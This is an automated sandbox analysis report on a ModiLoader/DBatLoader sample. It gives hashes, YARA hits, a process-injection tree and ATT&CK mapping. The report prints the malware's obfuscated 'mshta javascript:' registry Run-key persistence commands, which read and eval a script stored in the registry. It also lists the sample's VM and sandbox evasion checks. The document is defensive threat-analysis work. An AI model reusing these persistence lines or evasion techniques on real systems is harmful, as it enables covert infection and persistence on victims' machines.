Analysis
-
max time kernel
150s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
02-01-2025 15:45
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
JaffaCakes118_66370982f6cba531392b8610bece9db9.exe
Resource
win7-20240729-en
windows7-x64
17 signatures
150 seconds
Behavioral task
behavioral2
Sample
JaffaCakes118_66370982f6cba531392b8610bece9db9.exe
Resource
win10v2004-20241007-en
windows10-2004-x64
17 signatures
150 seconds
General
-
Target
JaffaCakes118_66370982f6cba531392b8610bece9db9.exe
-
Size
465KB
-
MD5
66370982f6cba531392b8610bece9db9
-
SHA1
18969bd34c71fcb23ece47f721bd30e076488155
-
SHA256
0f3ad6d3ce0bc247667024bd2cd7ddc831d3890e4d4dc3ee7a2f833bbce3ca39
-
SHA512
ddd7181ebc4e2e565c1937e7e80c42ce5da9f7c5c88b6000df2900b6667dae4c7d714330ae0324a8fe438c17cc907d579fade6720585e7cfa0338861ef08d67a
-
SSDEEP
12288:KLLdQ9BTg3YUGS/l48VkrqsIGuANKz7LBY:KLaWCpUAN4a
Score
10/10
Malware Config
Signatures
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
Modiloader family
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
ModiLoader Second Stage 42 IoCs
resource yara_rule behavioral1/memory/1520-0-0x0000000000400000-0x0000000000479000-memory.dmp modiloader_stage2 behavioral1/memory/1520-2-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/1520-3-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/1520-6-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/1520-5-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/1520-4-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/1520-8-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/1520-14-0x0000000000400000-0x0000000000479000-memory.dmp modiloader_stage2 behavioral1/memory/2144-17-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2144-21-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2144-20-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2144-19-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2144-18-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2144-23-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2736-32-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2736-37-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2736-36-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2736-43-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2736-44-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2736-45-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2736-42-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2736-41-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2736-40-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2736-39-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2736-46-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2736-38-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2736-35-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2736-34-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2736-33-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/948-50-0x0000000000290000-0x000000000035C000-memory.dmp modiloader_stage2 behavioral1/memory/948-55-0x0000000000290000-0x000000000035C000-memory.dmp modiloader_stage2 behavioral1/memory/948-54-0x0000000000290000-0x000000000035C000-memory.dmp modiloader_stage2 behavioral1/memory/948-53-0x0000000000290000-0x000000000035C000-memory.dmp modiloader_stage2 behavioral1/memory/948-52-0x0000000000290000-0x000000000035C000-memory.dmp modiloader_stage2 behavioral1/memory/948-51-0x0000000000290000-0x000000000035C000-memory.dmp modiloader_stage2 behavioral1/memory/2736-56-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2736-57-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2680-61-0x0000000000240000-0x000000000030C000-memory.dmp modiloader_stage2 behavioral1/memory/2680-65-0x0000000000240000-0x000000000030C000-memory.dmp modiloader_stage2 behavioral1/memory/2680-64-0x0000000000240000-0x000000000030C000-memory.dmp modiloader_stage2 behavioral1/memory/2680-63-0x0000000000240000-0x000000000030C000-memory.dmp modiloader_stage2 behavioral1/memory/2680-62-0x0000000000240000-0x000000000030C000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:fJIPqq7QD=\"6gP9u\";R7T4=new%20ActiveXObject(\"WScript.Shell\");lfxm1HgBF=\"cvwL\";e6l4Zh=R7T4.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\1beb97be97\\\\2b057213\");LK3Zll9D=\"2ffvnBUGg\";eval(e6l4Zh);a9riplrB=\"rhj4x\";" regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
pid Process 2736 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:GzzN4Jqg=\"DS5bk\";lB7=new%20ActiveXObject(\"WScript.Shell\");VWhde5EmY=\"Ob\";OxXk82=lB7.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\1beb97be97\\\\2b057213\");CJRoQu4v=\"mlwSn03K\";eval(OxXk82);GEeCJ28GY=\"AKuLp7N\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:el5H4Dxz=\"a\";D3H7=new%20ActiveXObject(\"WScript.Shell\");PBT1ZtPqa=\"LIam\";Npt3t=D3H7.RegRead(\"HKCU\\\\software\\\\1beb97be97\\\\2b057213\");UFU6tEb4=\"rsj\";eval(Npt3t);n5BHG1Tbq=\"L8ev30\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language JaffaCakes118_66370982f6cba531392b8610bece9db9.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe -
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
pid Process 1520 JaffaCakes118_66370982f6cba531392b8610bece9db9.exe 1520 JaffaCakes118_66370982f6cba531392b8610bece9db9.exe 1520 JaffaCakes118_66370982f6cba531392b8610bece9db9.exe 2144 regsvr32.exe 2144 regsvr32.exe 2144 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe 2736 regsvr32.exe -
Suspicious use of WriteProcessMemory 32 IoCs
description pid Process procid_target PID 1520 wrote to memory of 3004 1520 JaffaCakes118_66370982f6cba531392b8610bece9db9.exe 30 PID 1520 wrote to memory of 3004 1520 JaffaCakes118_66370982f6cba531392b8610bece9db9.exe 30 PID 1520 wrote to memory of 3004 1520 JaffaCakes118_66370982f6cba531392b8610bece9db9.exe 30 PID 1520 wrote to memory of 3004 1520 JaffaCakes118_66370982f6cba531392b8610bece9db9.exe 30 PID 1520 wrote to memory of 2144 1520 JaffaCakes118_66370982f6cba531392b8610bece9db9.exe 31 PID 1520 wrote to memory of 2144 1520 JaffaCakes118_66370982f6cba531392b8610bece9db9.exe 31 PID 1520 wrote to memory of 2144 1520 JaffaCakes118_66370982f6cba531392b8610bece9db9.exe 31 PID 1520 wrote to memory of 2144 1520 JaffaCakes118_66370982f6cba531392b8610bece9db9.exe 31 PID 1520 wrote to memory of 2144 1520 JaffaCakes118_66370982f6cba531392b8610bece9db9.exe 31 PID 1520 wrote to memory of 2144 1520 JaffaCakes118_66370982f6cba531392b8610bece9db9.exe 31 PID 1520 wrote to memory of 2144 1520 JaffaCakes118_66370982f6cba531392b8610bece9db9.exe 31 PID 2144 wrote to memory of 2736 2144 regsvr32.exe 32 PID 2144 wrote to memory of 2736 2144 regsvr32.exe 32 PID 2144 wrote to memory of 2736 2144 regsvr32.exe 32 PID 2144 wrote to memory of 2736 2144 regsvr32.exe 32 PID 2144 wrote to memory of 2736 2144 regsvr32.exe 32 PID 2144 wrote to memory of 2736 2144 regsvr32.exe 32 PID 2144 wrote to memory of 2736 2144 regsvr32.exe 32 PID 2736 wrote to memory of 948 2736 regsvr32.exe 33 PID 2736 wrote to memory of 948 2736 regsvr32.exe 33 PID 2736 wrote to memory of 948 2736 regsvr32.exe 33 PID 2736 wrote to memory of 948 2736 regsvr32.exe 33 PID 2736 wrote to memory of 948 2736 regsvr32.exe 33 PID 2736 wrote to memory of 948 2736 regsvr32.exe 33 PID 2736 wrote to memory of 948 2736 regsvr32.exe 33 PID 2736 wrote to memory of 2680 2736 regsvr32.exe 34 PID 2736 wrote to memory of 2680 2736 regsvr32.exe 34 PID 2736 wrote to memory of 2680 2736 regsvr32.exe 34 PID 2736 wrote to memory of 2680 2736 regsvr32.exe 34 PID 2736 wrote to memory of 2680 2736 regsvr32.exe 34 PID 2736 wrote to memory of 2680 2736 regsvr32.exe 34 PID 2736 wrote to memory of 2680 2736 regsvr32.exe 34
Processes
-
C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_66370982f6cba531392b8610bece9db9.exe"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_66370982f6cba531392b8610bece9db9.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:3004
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2144 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2736 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵
- System Location Discovery: System Language Discovery
PID:948
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵
- System Location Discovery: System Language Discovery
PID:2680
-
-
-
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2